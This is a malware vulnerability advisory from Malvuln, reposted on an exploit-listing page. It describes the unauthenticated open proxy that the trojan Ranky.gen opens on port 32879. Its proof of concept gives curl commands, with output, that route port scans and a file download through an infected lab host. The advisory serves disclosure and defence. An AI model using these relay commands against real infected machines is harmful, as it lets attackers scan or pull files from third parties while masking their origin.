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Trojan-Proxy.Win32.Ranky.gen / Unauthenticated Open Proxy

CVE Category Price Severity
N/A CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-07-14
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070082

Below is a copy:

Trojan-Proxy.Win32.Ranky.gen / Unauthenticated Open Proxy
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c0d6a2f0b34d9c44ca3433e4d45f187e.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Ranky.gen
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 32879. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: c0d6a2f0b34d9c44ca3433e4d45f187e
Vuln ID: MVID-2021-0284
Disclosure: 07/12/2021

Exploit/PoC:
Scan port 21)

curl -x http://192.168.18.129:32879 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

Scan port 110)

curl -x http://192.168.18.129:32879 http://192.168.18.128:110
+OK INetSim POP3 Server ready <57858.1625451488@pop3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl -x http://192.168.18.129:32879 http://192.168.18.128/DOOM.exe --out DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  101k  100  101k    0     0  25883      0  0:00:04  0:00:04 --:--:-- 25388


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